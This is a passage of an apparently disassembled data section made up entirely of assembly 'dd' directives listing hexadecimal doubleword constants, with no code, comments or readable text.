4FCCF809h, 0D244A444h, 112A017Eh, 12B6D6DBh dd 4B65FD7Ah, 2C771120h, 300E1709h, 3256AC8Fh, 6F20D8E4h dd 316F740h, 0DE91042Fh, 71C8C73Dh, 0AA4F86B5h, 0CAB17420h dd 0B0FA0B4Eh, 835FC13Ah, 0C81550B8h, 21DC216h, 8E472DBCh dd 0CCD03378h, 0CD2093B5h, 0EF2544E3h, 347D7890h, 5F2C85F9h dd 0C8E84AEAh, 0CD47810h, 0A95EF101h, 821005Ch, 404F0FFDh dd 504BCC36h, 0F200A4F3h, 0CDEC48A1h, 0F4A67544h, 3D10D744h dd 7ABB226Bh, 3090231Bh, 6D12C887h, 0AC0020A7h, 1E2541Ch dd 0D4069216h, 13F5E107h, 0B0449748h, 0ABDEE600h, 957C8E02h dd 8FA00B54h, 45A12A9h, 274890BDh, 0AAEE00B6h, 0CDE6677Ch dd 0BC1A71A5h, 639806BAh, 0E8C0EC24h, 9DD07238h, 700804Ch dd 4D0D0A11h, 3157E1h, 8EE4FA28h, 0C7FFB603h, 81F665E4h dd 717D2D05h, 0CCE25558h, 0C08EDB85h, 0A93D691h, 27063F27h dd 0A0104F64h, 21D2CD1h, 0D66D24EAh, 1FE202DEh, 4A340357h dd 18D03D8Ah, 5851E7A5h, 29090449h, 10AC12C1h, 55F0A5F9h dd 16FF2EDCh, 13E208C8h, 795CC625h, 0E4A128FCh, 0FE4310F8h dd 6058E0h, 53BE87DFh, 7239594h, 0CB9910B0h, 3CE1707Ah dd 22EE3F62h, 0FCB3724Eh, 0F8168121h, 849F400h, 9F014159h dd 0E9006CE6h, 0EFE86BDFh, 3E3145h, 0AC9D78EEh, 929F7E0Fh dd 7BC8669Fh, 43623598h, 0D8440859h, 1422CCA6h, 61599A2Fh dd 0B7F0A400h, 0DCFC04EDh, 0FD86F77Ch, 271E488Ch, 1059B3h dd 4A5B8B7Bh, 0AB0C4887h, 4133D54Bh, 0F20188B0h, 84E03C4Ch dd 0C422EB5Ch, 0B34CE821h, 0F3A1F0h, 53941D46h, 99BD92A6h dd 0DD652000h, 9015F4D0h, 1BF175Ah, 2B788CE8h, 344C2AF8h dd 525B3B40h, 69E530E4h dd 8150A4h, 0FA8D5CDCh, 1F95922Bh, 0DCB9E00h, 9A071598h dd 23B1724h, 5878B6ECh, 8CEF0388h, 0A5D1E4A9h, 0D90B088h dd 6266D4F7h, 1CCC63D0h, 0F12513CEh, 0FB340708h, 420BF0EDh dd 74BD2DDh, 0F68D3849h, 23A38038h, 1673E218h, 0C74F1E00h dd 12558315h, 58A1588Eh, 18969779h, 4F0C3900h, 68C52684h dd 0F9E31D4Ch, 0B90DCE06h, 0BDF7C00h, 0BD7638F7h, 0C3785516h dd 0CCA298C4h, 0FB1C601h, 3AED023Dh, 3800A48Ah, 1F6F331Bh dd 850079C0h, 7219D668h, 922093Fh, 8236B0Fh, 8925B4F4h dd 0F01670h, 0B8264091h, 94D078Dh, 5E10D502h, 40EF993Fh dd 90F9D8Ch, 0CC6CD150h, 0B0022CD1h, 66C4FDCDh, 4F710060h dd 946D19DFh, 0D1C3B646h, 0E85AD57Bh, 12E6C412h, 8CED0193h dd 811C94C0h, 530BF861h, 4128792Fh, 2D7880B7h, 1BCB0080h dd 3E3C92E7h, 6D3CC0D6h, 87261FACh, 49A46A00h, 0EF089FDFh dd 0B86497C2h, 3BC0FF00h, 408B2BCEh, 45132C69h, 807027DDh dd 24BA9Fh, 0E77CB2C8h, 13CF05FBh, 0FCD876F8h, 0C6212F70h dd 6C00B7ECh, 23C158FEh, 4BBEA499h, 8F1338B3h, 8940182h dd 2BAFFE87h, 0A85418C8h, 3F06E8h, 59E5CACh, 770CA433h dd 59D13B17h, 69FDFD00h, 4B6168ADh, 0BE848817h, 481FE3FAh dd 0AC00DB06h, 0F202C3CCh, 5F2E2E7Eh, 55F909E0h, 32E7845Ch dd 0D56D8450h, 9C0900C3h, 655D0EEh, 0AA792CB8h, 18A6FA16h dd 5A1CA4h, 1796B7Eh, 961B1724h, 8CC5F71Fh, 18166413h dd 0A8F86865h, 1234E34Eh, 70976371h, 1596D2A1h, 0D460BC71h dd 72DC9025h, 892FE969h, 53F40C74h, 0CB4548h, 0AF82A643h dd 4CD2Fh, 993D11DCh, 97B50BF2h, 53670F25h, 0CAE408CCh dd 1902373Eh, 481A0160h, 0CE720B5Bh, 4899EB4Fh, 1C2C08CCh dd 407D0340h, 0B409F1E9h, 8737682h, 59A8EE09h, 0A9B881B7h dd 0C22E0BA4h, 16D58C7Ch, 45931620h, 0EC9CC8A6h, 61412D07h dd 133004C0h, 12F67897h, 0FD95ABF5h, 71B91090h, 0F958E302h dd 0F4E2017Bh, 79007CF9h, 66EC1A44h, 2EB7E4A3h, 27E45CF6h dd 0CB00F8F9h, 0D9DC2A65h, 239D3FE3h, 73352501h, 706811AFh dd 0EA89CCF8h, 5C0A9CCCh, 0D04390EFh, 0E025E458h, 5F470CF9h dd 0C0798F01h, 4990207Fh, 8B30D169h, 0AA9A31D4h, 903604C7h dd 0C254CD74h, 18801BF0h, 6EABF282h, 81C7B63Fh, 0CE9025E1h dd 0D6FA0148h, 0FED7C0F8h, 1D008013h, 696EF332h, 4B495028h dd 11F4E371h, 3051C1ACh, 1324C5C2h, 2CC600A9h, 82B7DD27h dd 0E2F69700h, 0A787F0ACh, 4AE0000Eh, 0B9959391h, 210FEF54h dd 422C1970h, 409EB571h, 0B8142ECCh, 4ECD25A8h, 0D03438A7h dd 0B7CAEA71h, 9AEF9805h, 9C085C93h, 8C594479h, 6325B104h dd 0E39019CCh, 0A1F7DC53h, 287034C9h, 2A4D88F6h, 0CC451CB8h dd 0B2E0F5F5h, 6F151E9Ch, 504497Fh, 0AA7B6C84h, 142DA04Bh dd 35C50038h, 5488B9CEh, 9507B1ABh, 39F5EB8Fh, 0AFE90730h dd 614975A9h, 51CD794Eh, 0FC777AFFh, 0CB8DA100h, 575909B6h dd 2491EE01h, 40203F10h, 58F519h, 0BAD4C238h, 0C36AFB8Ch dd 0E71FD80Bh, 80C80B5Bh, 1764CAC4h, 0B8EA4CFFh, 1C417844h dd 0DCC288Fh, 3E18A556h, 8B01E831h, 0E4F871C8h, 5BBE0172h dd 0D76C563Eh, 0D633F912h, 0F1D170DCh, 75126708h, 0B44CD531h dd 7F7E1BEh, 89B44A0Fh, 0BA2CD51Dh, 5E6A1821h, 0E818AE4h dd 16036734h, 4B84F582h, 89CD54C9h, 0D6DA5460h, 77B50C8h dd 73190865h, 0BC6C188Dh, 0F85E7689h, 0EDDA58h, 40F5C603h dd 0EC47D75Ah, 869DD0B3h, 536598Fh, 9F8185DAh, 9068CB5Bh dd 80A4F293h, 379F648Fh, 0D4F20263h, 89C87092h, 0EE8B9840h dd 4C88E106h, 25A04DBBh, 8C05E3B2h, 0D0A413D2h, 0AB733470h dd 6F018DFCh, 0D61F4778h, 0D864EFCEh, 90FA82F9h, 2B47CD2Fh dd 0E5FC0450h, 22E41D53h, 71383400h, 10886ACFh, 1750980Ah dd 23BBB95Ah, 0F097DCD8h, 3B90848Fh, 0C5FE111Ch, 51651ADEh dd 0E0F40058h, 0ECB7C463h, 0E9961500h, 3AD453E5h, 0F53102A5h dd 0E4398E1Eh, 5809FC53h, 0F1270541h, 938068ECh, 0BAEA05F3h dd 0D36F562Dh, 7D98008h, 36CF2F8h, 79C04A2Dh, 95EE8924h dd 1768700Ch, 4C240094h, 90036511h, 7F21D2F7h, 0A8E250A2h dd 147F2442h, 0FE6C07ECh, 0D03282B8h, 8C3E1D9Dh, 7CF60705h dd 0B8C14DCDh, 0D4D1AD5Bh, 20415CE1h, 286BFA01h, 0AA77C4B8h dd 9C2FB000h, 0AD758A8Fh, 9A677ED3h, 0E80D2670h, 0CF860238h dd 8C400F61h, 969871D1h, 0FC4A20A4h, 7C0538E3h, 0B375CDAFh dd 166CC19Ch, 0EFF44767h, 0BC93246Fh, 0FCB28F78h, 34643192h dd 7D246D08h, 974D4500h, 0FF832CBBh, 6D5400B2h, 0FBE00A86h dd 0A4B44327h, 0BBCF1340h, 0E6731CD4h, 48EA0015h, 52FFFE49h dd 909A870h, 893D50B9h, 4268C6A4h, 80E30094h, 3607B12Dh dd 13E89A16h, 0FDEFE475h, 803B9EDCh, 969381Eh, 5B91189h dd 722388DCh, 0B82C1C64h, 60814100h, 0C2188EE5h, 0FCBCC2B5h dd 0FA25C0ACh, 52D649Bh, 751440B5h, 627BF918h, 7CE064B0h dd 3C2E9066h, 0D5009D04h, 8C7BAF03h, 21335FF4h, 0E8D8F378h dd 90F89DB5h, 0BC408E14h, 0BD9600D2h, 179AB173h, 0D53701D7h dd 0F90EE20h, 80407C3Eh, 43975419h, 0C91F0024h, 0A826AB51h dd 603D7844h, 5825FC52h, 2CCD964h, 42C17ABFh, 0FBC86B60h dd 0ECEF600h, 7F453530h, 0EAF1FA73h, 23551393h, 0B08E321h dd 8B351868h, 2584C428h, 0EC58938Eh, 19D34AEEh, 0B5802CF8h dd 15CA56D2h, 1F623Eh, 0E9C615Fh, 14F211h, 5180C6ECh, 67BD37AAh dd 89D2BC3Dh, 10E2A8Fh, 1534F2E4h, 0FB60D82Ah, 46EC8500h dd 52764C55h, 7517077Bh, 0A04A6B65h, 0CDD107E0h, 0EF717910h dd 88DB4C50h, 0C9000F4Ah, 910E3F49h, 1FE63A9Bh, 40437589h dd 7CC5EFADh, 264F8FE8h, 0BCCAA4C4h, 11ACFA01h, 0E8D754C9h dd 53B0CB17h, 62C4B400h, 97F0A4D6h, 41084E0Bh, 0D7B967B0h dd 94D07CFCh, 0FC30D67Ch, 1560AEh, 241F04BEh, 0D1FE1C9Dh dd 0D4958E4Eh, 20CD1882h, 2C586667h, 451A0701h, 7EDBD7B7h dd 441830A5h, 0B13A035Ah, 0C48A4A71h, 121EC001h, 0E87C2E45h dd 90975BAFh, 1E06A6E0h, 4109CA21h, 2C53C9D2h, 68DC314Fh dd 0CF88070h, 3B4971h, 0E24B0892h, 0CA17B7CBh, 1551CBA0h dd 9D4C8A61h, 84F20809h, 2F40D9C0h, 0A11DE8C7h, 0AD850E00h dd 0EE2A6184h, 3864976Bh, 0E99C1800h, 5E6DF49Ah, 3236001Fh dd 0B76B830Fh, 0C4BC017Dh, 2A40042Eh, 13CA8C1Fh, 22F94Eh dd 18E8D818h, 0A901BA77h, 3154E038h, 0DC2E8AF0h, 9C4052C8h dd 5F4E5A71h, 0ED28B838h, 17594A14h, 55C04014h, 82535494h dd 5ECAA502h, 744BC5D7h, 0D954060h, 0B500EA31h, 0C8B81AFCh dd 3D1D724Ah, 0A505B653h, 0C48BD189h, 8870BAC0h, 99B8C18h dd 368D935Ch, 4A4124FCh, 0F5C81184h, 0F290182Eh, 1E643861h dd 80280F41h, 5EF13480h, 337DD7CEh, 11006148h, 0D10B525Bh dd 5C18668Ch, 1C0118D4h, 893CD205h, 0C4CD7810h, 2994887Ah dd 65480803h, 0E2BF42A3h, 0F474EBE1h, 0AE80D8BCh, 2A52164Ch dd 6C548700h, 2350B08h, 4A0600C7h, 32B24FB5h, 0DC325634h dd 8454B9C3h, 38EB7F48h, 0B7848108h, 0F019B011h, 0E7134AB5h dd 29010341h, 5A51105Fh, 5C6D7060h, 0B84CFC6Fh, 0F0169080h dd 0C0289722h, 4054E0B9h, 0F4B668B4h, 1EB8C42Dh, 80978069h dd 9160ABA9h dd 0C39F961Bh, 0AC408504h, 9550FB3Bh, 4B8F000Fh, 0E27693F4h dd 4005344Ch, 0BFBAF019h, 9522B0CEh, 0A7830899h, 0D8C73E4Fh dd 2A040Fh, 899B2BE7h, 347D6795h, 5D96EE0Eh, 584A5F03h dd 0FF169C23h, 8869C0E0h, 8025D417h, 0F654E411h, 25671E49h dd 7A4F45AFh, 5968BC23h, 2180B5Ch, 2D0CD4ECh, 68004C5Bh dd 653CABC8h, 79AE023Ah, 6DC733D2h, 42A67C80h, 1500FF61h dd 47F8CE18h, 4C1977DBh, 0B45830D2h, 65CC205Fh, 48E83AB5h dd 3DCF303h, 0A8A6BB7Fh, 41349DDh, 5A675C72h, 540104E0h dd 4D10E8A2h, 44FA9F02h, 49391759h, 0F7E841F4h, 6A153C86h dd 45025C60h, 24C80006h, 855C6E52h, 0BA3D6C10h, 0B0418F7Fh dd 9849DA91h, 5C84D0h, 1F2E5438h, 0A3186A83h, 62224D04h dd 388C53BFh, 752AF8CEh, 0BA870082h, 8F3F49Bh, 4E5CC88Ch dd 586E24D8h, 6D15204Eh, 127A5920h, 0A2C4FDCCh, 63D9009Ch dd 0F1CE26B6h, 8C47276Dh, 9C0138D1h, 92869940h, 0EF2D886Ch dd 0CF429018h, 0B9DC508Ah, 204844B8h, 97CCF7D3h, 3879A49Ah dd 98914101h, 0B0F807E5h, 4D273BFDh, 83028B00h, 7529A225h dd 0FE1ABB00h, 67092BADh, 0BC94B834h, 5594010h, 0BC007F32h dd 0ACE7A2D8h, 211D68h, 0D6A4B44Ch, 0A8A6DCE1h, 46AD4CBEh dd 0B6F71298h, 0BC488C4h, 1CE2F45Bh, 45110076h, 4F19C1D2h dd 0D60BB0B4h, 41D1B559h, 207A02A4h, 0A6773C8h, 215CFC01h dd 75CE8FB1h, 0F880203Fh, 190986DEh, 21F2912h, 846C32A4h dd 0E856D898h, 7298344h, 0C8ACA016h, 0E090BFA7h, 2A005A5Bh dd 1E8CE4CAh, 0E8BFC0C9h, 0A49D0BB0h, 7044F172h, 0FB3B213Ch dd 2CA0232Ah, 79953600h, 84765450h, 24CE9D69h, 0E6EAA498h dd 28B9ECB0h, 594BDF40h, 0C2C11635h, 63B4C88Eh, 0FD14189Dh dd 467E275Ah, 2480A8D2h, 0F30EE519h, 0DDEDC9B3h, 4154F0Bh dd 0B0F9E082h, 0E14A3580h, 0E20029F8h, 82A6174Dh, 2D3C6CF1h dd 5CE27F77h, 0CD6DE8C0h, 18B55070h, 27FBE30h, 0B94A0537h dd 30DFAAA5h, 48A2A34h, 1187087Ch, 16170115h, 1828E42Dh dd 22BD9D3Eh, 0F73868Ch, 56150131h, 0FF0CF10h, 0D0CCF5h dd 0CE77BA4Fh, 14B954E1h, 8C14FDE4h, 7307B00h, 3F101917h dd 0E26303BCh, 1F9D601Eh, 7854C0ECh, 94951508h, 52A48060h dd 0F9493093h, 0BB6CA162h, 0A0C8BE5Ah, 0D8628AFAh, 3EC947Fh dd 1779B6BEh, 1E8294A3h, 0EBD3BF40h, 0CD21C900h, 0B218E6DDh dd 275CEC05h, 9465EC49h, 37353D00h, 0FEC5BC93h, 48D40206h dd 0AC320FC0h, 45008CC4h, 0CF9C1947h, 7D39A734h, 33E6016Dh dd 8CC410A9h, 99BAEEh, 84CAEFB0h, 2554EA48h, 0CCF95971h dd 9DDEB040h, 3CBE0003h, 8947908Ch, 0D70B7351h, 349CE80h dd 0F1EF6D48h, 2C2ECD0Ch, 0C258D710h, 0FACC1674h, 40BCC8DCh dd 0C93ED188h, 0B4704EC3h, 384F716h, 0E72C2895h, 80C0FFFBh dd 8B4B600Ch, 0C07C64F0h, 0C3BC9908h, 0FA3B5E94h, 781AAFEEh dd 78485C8Ch, 49A4984Ah, 71F46600h, 0BC4BA75Eh, 0C3A916EBh dd 6DDCC536h, 0C81020A4h, 4FB59498h, 186F00D4h, 0E7E4C9BAh dd 0F586EA39h, 0B9C5F002h, 59AFEF0Fh, 0D33D000Ch, 0ED6780F9h dd 0BA73EA00h, 3BBFEC71h, 3AD93813h, 80AB5A8Eh, 682B036Bh dd 0A4FF38A0h, 6E387B94h, 55AB07E5h, 0C4A4E827h, 0C37808FEh dd 1282EA80h, 0D22DA68h, 234E3738h, 0C0707CC8h, 47BC30A6h dd 61E0E2BDh, 34DC4806h, 80544519h, 86D729B4h, 0FECE8D03h dd 9873B27Ch, 49FBBB4h, 8AFD39B1h, 0E80EEEA8h, 0BEFEE01h dd 7CA02BE8h, 36C06F44h, 0EC76DFF9h, 0D6EA6A02h, 4054938Dh dd 4CE76044h, 5802E4FEh, 0D906E539h, 0AD60C227h, 22D10E2h dd 696F1DCFh, 57F8E6Ch, 1AF0270h, 0C2188F3Ch, 0B8D9CA8Dh dd 415C7925h, 0EC340B3Ah, 0D1716920h, 0B01FEC01h, 10EFE48Bh dd 4C1A6420h, 0D680D086h, 0B96D983Dh, 208F8030h, 445F7233h dd 0AB2E25F6h, 4100AAEEh, 17FE1653h, 34A54A7Ah, 0E0E8D8h dd 0EF5DEE21h, 244A9886h, 4E1A08h, 6F276AE1h, 0C4BF9F3Ah dd 83EE10h, 2BB69B2Ch, 0DBEFE747h, 0F5129090h, 3912AF88h dd 491F4704h, 5E4D44B0h, 0BAD425E5h, 0FFEC28h, 0E51B5BA1h dd 4B92AD15h, 0C150C49Fh, 0C68E9DD0h, 0F4D03EF3h, 2D801822h dd 0A442AAE6h, 4809EC89h, 0F8537C7Eh, 917981A4h, 3C6284Ch dd 95AEA1CFh, 0E1A1E526h, 1C43218h, 327C5337h, 2470D721h dd 0BAEF27FEh, 450548A0h, 0C5009931h, 7998468Fh, 87B464h dd 177EFD34h, 0B0C05CECh, 4D10961Fh, 764C8F02h, 0C26CCAEFh dd 0A0FC6680h, 0B5CCA044h, 6A00E0C6h, 83696E86h, 0EEFC81h dd 0ABEFD9B7h, 625D6494h, 0BA599912h, 93879002h, 0CB4C80BBh dd 800155h, 1210C342h, 554CA4Fh, 5CD30439h, 1C222E60h dd 9626F1Ch, 643D167h, 6300A0FAh, 0F96E8F74h, 4FCD6DEh dd 0E787B570h, 0C317C1F1h, 79A891E6h, 0D22F0C00h, 0C2FE37C4h dd 761280B0h, 4040BBF8h, 4181EE9Dh, 0CC3E1D23h, 8C16167Dh dd 9F1EB0CCh, 0F1142668h, 2C29D688h, 0C81242E1h, 0F172387Ch dd 0AC6396F8h, 5026A094h, 56A718B1h, 0D28BF09Eh, 0F2007893h dd 8E50F77Ah, 542B48CFh, 0B1CC7877h, 0DD166110h, 3E93DFF3h dd 262B1FD0h, 55021015h, 0A3891660h, 7475380Bh, 0D88861D0h dd 579EFCA6h, 0C6903427h, 0CE5E00E4h, 4F07AEDDh, 6E1E0824h dd 0A4820AAAh, 0DCDF27D4h, 0EBBD8054h, 8FAC43C2h, 0EC00445Fh dd 6E9B6BDDh, 18A61D4Fh, 353ECA7Ah, 821CC4h, 0AAEF98E2h dd 0C21FB108h, 0EC6F7193h, 0FD4B0048h, 6068AA80h, 6224B13Ah dd 78129410h, 0DDD0D427h, 0E66797h, 0A1D35F95h, 0DCD5699Ah dd 11ADBF1Fh, 1076EF40h, 4D193525h, 0A30EC45Fh, 28C03823h dd 0E3696090h, 0C140F50Fh, 708B24A1h, 808809EAh, 0F678C818h dd 0C8039E00h, 7FD8E7E0h, 0F9C123Dh, 0C204B9EAh, 0DF4AB9B3h dd 0B8EA7018h, 1F08E00h, 8A364C6Ch, 0A2B54F7Fh, 2D830080h dd 40593B17h, 1B1300EAh, 2A75E6B4h, 31003432h, 0F01EAB81h dd 0C4F3D3h, 4DFE1AF1h, 2E77E34Ch, 0FC1D8B4Ah, 0E838D92Dh dd 0BEC3C098h, 5D0076B0h, 7E0D305Ch, 0BFE5328h, 9C1FA056h dd 60CB300h, 6B74E6E1h, 0F81EC800h, 2E83990Fh, 22440959h dd 50586F0Ah, 0F1D1870Ch, 964E9012h, 730049E0h, 0BBB06CE5h dd 33AAEE01h, 3AC38473h, 9E08907Bh, 0D4F79823h, 0AF5EED8Bh dd 0FB124C8h, 547CAB71h, 0C82AF5C0h, 0B807585Ch, 0C41E3F34h dd 6F781089h, 0C6A90126h, 8EEAEB9Bh, 0E0AD4453h, 0C75DC4DCh dd 8E8CCBD0h, 0F825E11Ch, 7000CD86h, 99009A5Ch, 0DC9624D8h dd 9EC5B80h, 43500518h, 0C0D9E409h, 0FB5AE363h, 0F949E92Ah dd 0BDA4C83Fh, 17070B7Eh, 2E4357CBh, 30AB54A5h, 924D2D5Ch dd 0B0BCD107h, 0FB37F17Dh, 3B21A5F3h, 0B04EA750h, 0F213E7CCh dd 680460A3h, 20CDBD17h, 402C51F2h, 884E3A84h, 0C9F72C01h dd 0A76137E8h, 0C3F0DC1h, 7C41A40Ch, 59F2122Dh, 0F99083F0h dd 0C6E144B4h, 79043095h, 6F0C1E00h, 48C0A087h, 0B0EF0531h dd 90F30E23h, 0F0167660h, 98047F82h, 9CE256F8h, 30749C00h dd 122BD682h, 0B5FDF900h, 809DD8F7h, 0E866B54Ch, 3DD9DF62h dd 0DACAE0BDh, 96A20EF2h, 822DE93h, 0D560D7E6h, 0C0005DB4h dd 500C4034h, 0BD4C689h, 218F276Bh, 0EAEC4464h, 0BAEE4000h dd 0EBBB9661h, 2627EF9h, 121760E7h, 0BF859EA6h, 0C27CA794h dd 77735AEBh, 4596BC18h dd 0B9492200h, 0CDA02394h, 0E3174F48h, 3C853EF8h, 0B820CE72h dd 0CB4221h, 0D71093D0h, 0FB66743h, 8C47ED00h, 8559E1CEh dd 38F19068h, 0A44C7099h, 0AD370593h, 9D00A3Fh, 0A47684C0h dd 8CE31318h, 0C8A00116h, 5600E3DCh, 63DE7D4Bh, 0C8D881h dd 9DA38B91h, 8CF324ADh, 7F243B50h, 0C6802494h, 0CA41385Dh dd 77B017ACh, 0D46CC82Ch, 423F4Ch, 7BD87F87h, 35BB3Eh dd 6AE46DB3h, 0A1705AFFh, 0CC5ECEE5h, 0B9836C40h, 91589468h dd 0AEBC00DCh, 71ED0CC1h, 94C1FA2h, 8C48CCB5h, 40C0500Ah dd 5F5B6990h, 0C874E5A3h, 24929559h, 82682184h, 0D8DCD5E4h dd 0D4B9B064h, 0A8CE942Dh, 0E00937Bh, 447982DEh, 0F87FDFE2h dd 0AC0702B8h, 4D4EBF76h, 0DE09855h, 8A940066h, 0FAC233B1h dd 7C3DDD7Ah, 49358569h, 10E84D71h, 19735BA0h, 1103D5B8h dd 1FC72CD7h, 37C1CF9Ah, 0AD701C75h, 4850EE4Bh, 8C00F0ADh dd 655E3223h, 0C500150Dh, 7722CA85h, 0CE877Ah, 8F8367E2h dd 0B7DD884Ah, 43E6B207h, 0DB764D32h, 21646008h, 81B7D59Dh dd 50490F0Ch, 10D3502Bh, 699D1CEh, 4A7EF8DCh, 2C94658h dd 0E6BDB7D2h, 84EE30EBh, 700FC83h, 505D7F39h, 0D4386860h dd 7B33864h, 9D1AF92Dh, 0E107A085h, 0CF0115DBh, 0A87F8911h dd 318C4A7Ch, 0FB7169F1h, 0FD743E00h, 7AA96652h, 6C28C07Dh dd 7376D368h, 212A31C0h, 0CD1E55Bh, 0F992BBD4h, 21C17509h dd 765B398Ah, 54AFDCh, 73AEAA22h, 49854312h, 64D8E400h dd 0BDFD7B0Dh, 4580A0BAh, 0F3688003h, 1987D900h, 0B221093Fh dd 5E7D0E0Ah, 78ACF79Eh, 7918CB61h, 0E11A2F98h, 7A9F0C7Eh dd 82100DECh, 4400BE76h, 3D2D99DBh, 3297896h, 635932A1h dd 0ED80E118h, 77774A97h, 0F100ABE8h, 1B546224h, 0EC851C47h dd 1C5E5819h, 2FC0F801h, 60E0F4B4h, 0BE3BB69Fh, 4280033h dd 0B7610C78h, 3A530077h, 31124C42h, 0D70CB4A5h, 8CC2D3Eh dd 6D21C05Bh, 706312C4h, 0B2003AB8h, 0ED019D39h, 183BDD9Fh dd 288B9A2Ah, 230097A2h, 77FCE9E2h, 63F4B61Eh, 3B9B087Eh dd 0BB72003h, 0A93EE6E2h, 3DF09F76h, 378F4CAh, 0DAA25C53h dd 78A624B3h, 4ADF1A00h, 0ABDEC019h, 76A93137h, 80A1F108h dd 4AE66320h, 5C30A374h, 2004FDAh, 0D2B0ED8h, 2960D267h dd 0C8D1BB49h, 0D4B0CEEAh, 0D58CE22h, 86BC9E0h, 26072C0Ch dd 3877C18Ah, 0AB006CF4h, 39B328C7h, 20C93D4Bh, 29CD0181h dd 1D200FD8h, 0C380A4F2h, 0EECCDC10h, 0DB12B0C7h, 0B00FC85h dd 6FB223C4h, 942C32h, 2B035BFAh, 689072CCh, 1D26A13Bh dd 51074EC3h, 0A900743Fh, 0E7F817h, 0B03A9C09h, 5720D0D1h dd 5542B200h, 91E326CFh, 7F6A0049h, 13B7B07h, 7E010C30h dd 5683D7C2h, 2AF81594h, 4D3A0340h, 0E7A2A17Ah, 0F6F882F3h dd 9A76E1EAh, 0BF63FB00h, 45895A25h, 94521C5Dh, 9DAA00C1h dd 0E99088A6h, 0BBEF6600h, 62C43BCBh, 1C87004Eh, 371472EBh dd 52002746h, 40AC6CF8h, 89FBC6h, 508D152Bh, 79FD936h dd 9C717501h, 0ABFE8C7Dh, 10F42E0h, 0F5037CD3h, 0D2235293h dd 1C41DA80h, 0A207437Ah, 9A7EC2EBh, 9043C3F7h, 0DA2000F6h dd 990379E5h, 2D7024A3h, 7DB81226h, 130CC913h, 6D14804h dd 8A16E519h, 0AB131021h, 9D1EBF51h, 0C230AC6h, 18F73109h dd 4049CB20h, 86DC2181h, 28E2A507h, 8C70F498h, 36FF6DC6h dd 51B033EAh, 0A5088B28h, 0E4998501h, 5F0D3005h, 30676842h dd 0D7117AA0h, 96884BA2h, 7A09E681h, 28DCA85Dh, 0C841607Ch dd 6C1B186h, 5EFA9018h, 1E18A158h, 4019D0A2h, 0DA8AD427h dd 5900F238h, 0D5B32F7h, 0F29F671h, 7FA6486Ch, 64B634A0h dd 0C600D8C9h, 9587461Ch, 4AF2A0Ah, 887CB3B2h, 5344807Eh dd 0E20E7D71h, 0A0229CBBh, 32259FD2h, 5D64006Ch, 21CA80F7h dd 6A014A40h, 0C45C021Ch, 89CC2388h, 0F6B400AFh, 9CC80C90h dd 2A1E03D0h, 0D880FB6Ch, 0E63BAD82h, 0E00400FEh, 4C726755h dd 0B380A84h, 0BC4100C5h, 0F3A43338h, 0B3F10769h, 0C7B19B54h dd 995F50A3h, 16F470B6h, 1981100h, 9E680E66h, 0E82400ABh dd 0D54BB131h, 3F007265h, 1F3098A6h, 6801FAE1h, 0F60411ADh dd 4D5F7B18h, 0E50510h, 0B02B90E8h, 0A67F58C3h, 929BD003h dd 0E17BB2DCh, 2888E53Fh, 0AF90EE94h, 446B6884h, 51443E87h dd 42CB4802h, 0B3248FF6h, 48FFE427h, 15198037h, 9572A56h dd 0DDA9C500h, 6F124D65h, 93D748E2h, 3BFA6A00h, 8EF33C67h dd 75CA1600h, 0ED690E70h, 0E9A000FFh, 7B2462DBh, 8F071B39h dd 888D65B3h, 0FFAF4A70h, 0CF7701BCh, 0ADC2F15Bh, 8CABE441h dd 6726BE00h, 0D1D7A975h, 19CFEA6h, 0D861D07h, 706DD47Fh dd 97032ADEh, 0D58B0E45h, 3A29E062h, 0E0A77B9h, 0CA24BF57h dd 11523E86h, 0D6BE3900h, 0EB6B0E93h, 0CA95078Bh, 0B0DA674Eh dd 8A5BDA2h, 460F9170h, 8025BAA7h, 0DD316488h, 560F0A04h dd 80D8E1E4h, 0AC43B783h, 0E7007EF3h, 7F8C364Ch, 7D171C5h dd 0B24B4FDEh, 0EB006B53h, 65212B39h, 43D9A1Ch, 0A901040h dd 1218273Bh, 2EECFAh, 5B508C00h, 0E07AC83h, 525EF86Ah dd 0E4C85580h, 16E30389h, 7B13ADD6h, 45B0ECC3h, 8D00A0E2h dd 402D73B6h, 886FE6h, 633ABBDAh, 54C9267Eh, 6E15AA00h dd 5DDE3718h, 9EC7059h, 0A1662A7h, 323C7C06h, 0BCCB4F02h dd 407220D7h, 1D0FC9Ah, 0F151AC85h, 70695E3Fh, 1E009979h dd 7EF6F4B0h, 0E1D3EAh, 0E2C89D7Dh, 9622D4BCh, 5F6CEC00h dd 0E68F60AFh, 9DF500B9h, 66C846EDh, 3A00953Bh, 0B1D3DA07h dd 0B8B428h, 4B9418CDh, 0CCA312DBh, 4E23F91Ch, 5490DC0h dd 59A2CAh, 7C217786h, 0F1AAFA01h, 14DFBF00h, 97643870h dd 8DB7000Ah, 4D18E61Fh, 913DE782h, 8E5580BEh, 0BB98860h dd 0CAC609DCh, 2C80359Fh, 76AE3753h, 46CFEB00h, 774E4CDDh dd 0D90400D3h, 2C926A6Fh, 6603E61Ch, 7419B578h, 5024E845h dd 579D0052h, 960D012Bh, 0B200C294h, 0D4BF72F1h, 0A0C5E8E4h dd 0F874A688h, 5B902Eh, 0A8437942h, 3ED0F395h, 0F59ED0Bh dd 18D48055h, 5A5F611h, 0C4E066D4h, 43C080E9h, 0C50042DBh dd 155BF991h, 3D052901h, 0FBDC4ADDh, 0D8E4170Eh, 0C8FAD040h dd 7004468h, 0B71AEA99h, 535870h, 0FC182D88h, 6ED3B16Dh dd 0C120AC03h, 0D921100Ch, 0BECD7BDh, 0EF9E0087h, 0D91CE21Fh dd 700F6F26h, 214B5FDEh, 0D43E7A8Bh, 0EA86FCh, 0D55E9C14h dd 2BD32FE3h, 0C621DE00h, 35B150FDh, 0A69E0394h, 2EB041A5h dd 3356C08Dh, 0AE00E193h, 628606Dh, 12ACDFh, 5042A1ABh dd 0E6FD82BBh, 0EB205800h, 5136B87Ch, 0C757005Dh, 592153EEh dd 6F0BDE1Ch, 80CDC35Eh, 7D0F2345h, 0EEF61D95h, 5255C0A4h dd 2FBBD06Fh, 4621107h, 0AD749869h, 0F9091E83h, 0B7D13AA7h dd 371DF4h, 0E0BFD43Bh, 6A6D566Ch, 0EF07D171h, 647E54F5h dd 0EEFC7A70h, 63E3009Ah, 999EC01Ch, 70003F93h, 8EC75904h dd 7BD86Bh, 0B63EA62h, 0A9441E5Ch, 80F77C3Fh, 647D7F54h dd 306FFB49h, 0DF1CA251h, 0D700A7FEh, 93CA4146h, 0C23999h dd 79CBEEAEh, 0C7252470h, 1C3EE500h, 0DBD58ACAh, 0BCE00Ch dd 